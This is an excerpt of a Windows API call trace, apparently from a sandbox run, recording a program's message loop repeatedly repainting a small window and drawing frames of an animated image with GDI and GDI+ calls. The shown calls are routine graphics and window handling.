GetSystemMetrics (nIndex=42) returned 0 [0129.598] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.598] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.598] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.598] CoTaskMemFree (pv=0x1e7ac120) [0129.598] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0129.598] GdipCreateRegion (region=0x15d710) returned 0x0 [0129.598] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0129.598] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0129.598] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0129.598] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0129.599] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.599] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.599] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.599] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0129.599] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.599] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.600] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.600] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.600] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0129.600] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0129.600] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0129.600] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0129.600] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.600] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0129.600] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0129.600] GetCurrentObject (hdc=0x450107cb, type=0x1) returned 0x1b00017 [0129.600] GetCurrentObject (hdc=0x450107cb, type=0x2) returned 0x1900010 [0129.601] GetCurrentObject (hdc=0x450107cb, type=0x7) returned 0x1a05067e [0129.601] GetCurrentObject (hdc=0x450107cb, type=0x6) returned 0x18a002e [0129.601] SaveDC (hdc=0x450107cb) returned 1 [0129.601] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4f040b8a [0129.601] GetClipRgn (hdc=0x450107cb, hrgn=0x4f040b8a) returned 0 [0129.601] SelectClipRgn (hdc=0x450107cb, hrgn=0x7f0407c3) returned 2 [0129.601] DeleteObject (ho=0x4f040b8a) returned 1 [0129.601] DeleteObject (ho=0x7f0407c3) returned 1 [0129.601] OffsetViewportOrgEx (in: hdc=0x450107cb, x=0, y=0, lppt=0x27de360 | out: lppt=0x27de360) returned 1 [0129.601] GetNearestColor (hdc=0x450107cb, color=0xffffff) returned 0xffffff [0129.601] CreateSolidBrush (color=0xffffff) returned 0x57100190 [0129.601] FillRect (hDC=0x450107cb, lprc=0x15d7c0, hbr=0x57100190) returned 1 [0129.602] DeleteObject (ho=0x57100190) returned 1 [0129.602] RestoreDC (hdc=0x450107cb, nSavedDC=-1) returned 1 [0129.602] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.602] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x450107cb) returned 0x0 [0129.602] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd380dbd) returned 0x0 [0129.602] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.602] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0129.602] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.602] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.602] GetSystemMetrics (nIndex=42) returned 0 [0129.602] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.602] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.602] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.603] CoTaskMemFree (pv=0x1e7ac120) [0129.603] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x2) returned 0x0 [0129.604] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0129.604] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0129.604] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0129.604] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0129.604] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x450107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0129.605] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.605] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x450107cb) returned 0x0 [0129.605] SelectObject (hdc=0x450107cb, h=0x185000f) returned 0x1a05067e [0129.605] DeleteDC (hdc=0x450107cb) returned 1 [0129.605] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.605] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0129.605] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0129.605] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0129.605] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.605] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.605] WaitMessage () returned 1 [0129.781] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.781] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.781] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.781] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.781] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.781] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0129.782] GetCurrentThreadId () returned 0xec0 [0129.782] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0129.782] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.782] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.782] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.782] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.782] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.782] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0129.782] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0129.783] CreateCompatibleDC (hdc=0x3010b83) returned 0x460107cb [0129.783] SelectObject (hdc=0x460107cb, h=0x1a05067e) returned 0x185000f [0129.783] GdipCreateFromHDC (hdc=0x460107cb, graphics=0x15daf0) returned 0x0 [0129.783] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0129.783] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0129.783] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0129.783] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0129.783] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0129.783] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.784] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0129.784] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.784] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.785] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0129.785] GdipCreateRegion (region=0x15dc20) returned 0x0 [0129.785] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0129.785] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0129.785] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0129.785] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.785] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.785] GetSystemMetrics (nIndex=42) returned 0 [0129.785] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.785] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.785] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.785] CoTaskMemFree (pv=0x1e7ac120) [0129.785] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0129.785] GdipCreateRegion (region=0x15d710) returned 0x0 [0129.786] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0129.786] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0129.786] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0129.786] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0129.786] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.786] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.787] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.787] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0129.787] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.787] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.788] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.788] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.788] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0129.788] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0129.788] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0129.788] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0129.789] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.789] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0129.789] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0129.789] GetCurrentObject (hdc=0x460107cb, type=0x1) returned 0x1b00017 [0129.789] GetCurrentObject (hdc=0x460107cb, type=0x2) returned 0x1900010 [0129.789] GetCurrentObject (hdc=0x460107cb, type=0x7) returned 0x1a05067e [0129.789] GetCurrentObject (hdc=0x460107cb, type=0x6) returned 0x18a002e [0129.789] SaveDC (hdc=0x460107cb) returned 1 [0129.790] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xffffffff800407c3 [0129.790] GetClipRgn (hdc=0x460107cb, hrgn=0xffffffff800407c3) returned 0 [0129.790] SelectClipRgn (hdc=0x460107cb, hrgn=0x50040b8a) returned 2 [0129.790] DeleteObject (ho=0xffffffff800407c3) returned 1 [0129.790] DeleteObject (ho=0x50040b8a) returned 1 [0129.790] OffsetViewportOrgEx (in: hdc=0x460107cb, x=0, y=0, lppt=0x27df668 | out: lppt=0x27df668) returned 1 [0129.790] GetNearestColor (hdc=0x460107cb, color=0xffffff) returned 0xffffff [0129.790] CreateSolidBrush (color=0xffffff) returned 0x58100190 [0129.790] FillRect (hDC=0x460107cb, lprc=0x15d7c0, hbr=0x58100190) returned 1 [0129.791] DeleteObject (ho=0x58100190) returned 1 [0129.791] RestoreDC (hdc=0x460107cb, nSavedDC=-1) returned 1 [0129.791] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.791] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x460107cb) returned 0x0 [0129.791] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd360dbd) returned 0x0 [0129.791] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.791] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0129.791] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.792] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.792] GetSystemMetrics (nIndex=42) returned 0 [0129.792] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.792] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.792] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.792] CoTaskMemFree (pv=0x1e7ac120) [0129.792] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0129.793] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0129.793] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0129.793] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0129.793] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x460107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0129.793] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.793] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x460107cb) returned 0x0 [0129.793] SelectObject (hdc=0x460107cb, h=0x185000f) returned 0x1a05067e [0129.794] DeleteDC (hdc=0x460107cb) returned 1 [0129.794] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.794] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0129.794] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0129.794] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0129.794] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.794] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.794] WaitMessage () returned 1 [0129.970] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.970] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.970] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.970] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.970] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.970] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0129.971] GetCurrentThreadId () returned 0xec0 [0129.971] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0129.971] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0129.971] IsWindowUnicode (hWnd=0x2031e) returned 1 [0129.971] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0129.971] TranslateMessage (lpMsg=0x15e910) returned 0 [0129.971] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0129.971] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0129.972] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0129.972] CreateCompatibleDC (hdc=0x3010b83) returned 0x470107cb [0129.972] SelectObject (hdc=0x470107cb, h=0x1a05067e) returned 0x185000f [0129.972] GdipCreateFromHDC (hdc=0x470107cb, graphics=0x15daf0) returned 0x0 [0129.973] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0129.973] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0129.973] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0129.973] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0129.973] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0129.973] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.973] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0129.974] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.974] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.974] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0129.974] GdipCreateRegion (region=0x15dc20) returned 0x0 [0129.974] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0129.974] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0129.974] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0129.974] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.975] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.975] GetSystemMetrics (nIndex=42) returned 0 [0129.975] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.975] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.975] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.975] CoTaskMemFree (pv=0x1e7ac120) [0129.975] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0129.975] GdipCreateRegion (region=0x15d710) returned 0x0 [0129.975] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0129.975] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0129.975] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0129.975] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0129.975] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.975] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.976] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.976] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0129.976] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0129.976] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7a00b0) returned 0x0 [0129.977] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0129.977] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.977] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0129.977] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0129.977] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0129.977] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0129.977] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.977] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0129.977] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0129.977] GetCurrentObject (hdc=0x470107cb, type=0x1) returned 0x1b00017 [0129.977] GetCurrentObject (hdc=0x470107cb, type=0x2) returned 0x1900010 [0129.977] GetCurrentObject (hdc=0x470107cb, type=0x7) returned 0x1a05067e [0129.978] GetCurrentObject (hdc=0x470107cb, type=0x6) returned 0x18a002e [0129.978] SaveDC (hdc=0x470107cb) returned 1 [0129.978] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x51040b8a [0129.978] GetClipRgn (hdc=0x470107cb, hrgn=0x51040b8a) returned 0 [0129.978] SelectClipRgn (hdc=0x470107cb, hrgn=0xffffffff810407c3) returned 2 [0129.978] DeleteObject (ho=0x51040b8a) returned 1 [0129.978] DeleteObject (ho=0xffffffff810407c3) returned 1 [0129.978] OffsetViewportOrgEx (in: hdc=0x470107cb, x=0, y=0, lppt=0x27dffa0 | out: lppt=0x27dffa0) returned 1 [0129.979] GetNearestColor (hdc=0x470107cb, color=0xffffff) returned 0xffffff [0129.979] CreateSolidBrush (color=0xffffff) returned 0x59100190 [0129.979] FillRect (hDC=0x470107cb, lprc=0x15d7c0, hbr=0x59100190) returned 1 [0129.979] DeleteObject (ho=0x59100190) returned 1 [0129.979] RestoreDC (hdc=0x470107cb, nSavedDC=-1) returned 1 [0129.979] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.979] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x470107cb) returned 0x0 [0129.980] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffd340dbd) returned 0x0 [0129.980] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.980] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0129.980] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0129.980] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0129.980] GetSystemMetrics (nIndex=42) returned 0 [0129.980] CoTaskMemAlloc (cb=0x6) returned 0x1e7ac120 [0129.980] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e7ac120, nMaxCount=1 | out: lpString="") returned 0 [0129.980] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e7ac120) returned 0x0 [0129.980] CoTaskMemFree (pv=0x1e7ac120) [0129.980] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x4) returned 0x0 [0129.983] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0129.983] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0129.983] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0129.983] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0129.983] BitBlt (hdc=0x3010b83, x=0, y=0, cx=64, cy=64, hdcSrc=0x470107cb, x1=0, y1=0, rop=0xcc0020) returned 1 [0129.984] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.984] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x470107cb) returned 0x0 [0129.985] SelectObject (hdc=0x470107cb, h=0x185000f) returned 0x1a05067e [0129.985] DeleteDC (hdc=0x470107cb) returned 1 [0129.985] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0129.985] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0129.985] SelectPalette (hdc=0x3010b83, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0129.985] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0129.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.985] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0129.985] WaitMessage () returned 1 [0130.155] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.155] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.155] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.155] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.155] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.155] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0130.156] GetCurrentThreadId () returned 0xec0 [0130.156] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0130.156] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0130.156] IsWindowUnicode (hWnd=0x2031e) returned 1 [0130.156] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0130.156] TranslateMessage (lpMsg=0x15e910) returned 0 [0130.156] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0130.156] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x3010b83 [0130.156] SelectPalette (hdc=0x3010b83, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0130.156] CreateCompatibleDC (hdc=0x3010b83) returned 0x480107cb [0130.156] SelectObject (hdc=0x480107cb, h=0x1a05067e) returned 0x185000f [0130.156] GdipCreateFromHDC (hdc=0x480107cb, graphics=0x15daf0) returned 0x0 [0130.157] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0130.157] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0130.157] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0130.157] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0130.157] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0130.157] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7a00b0 [0130.157] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7a00b0) returned 0x0 [0130.158] LocalFree (hMem=0x1e7a00b0) returned 0x0 [0130.158] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0130.158] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0130.158] GdipCreateRegion (region=0x15dc20) returned 0x0 [0130.158] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0130.158] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0130.158] 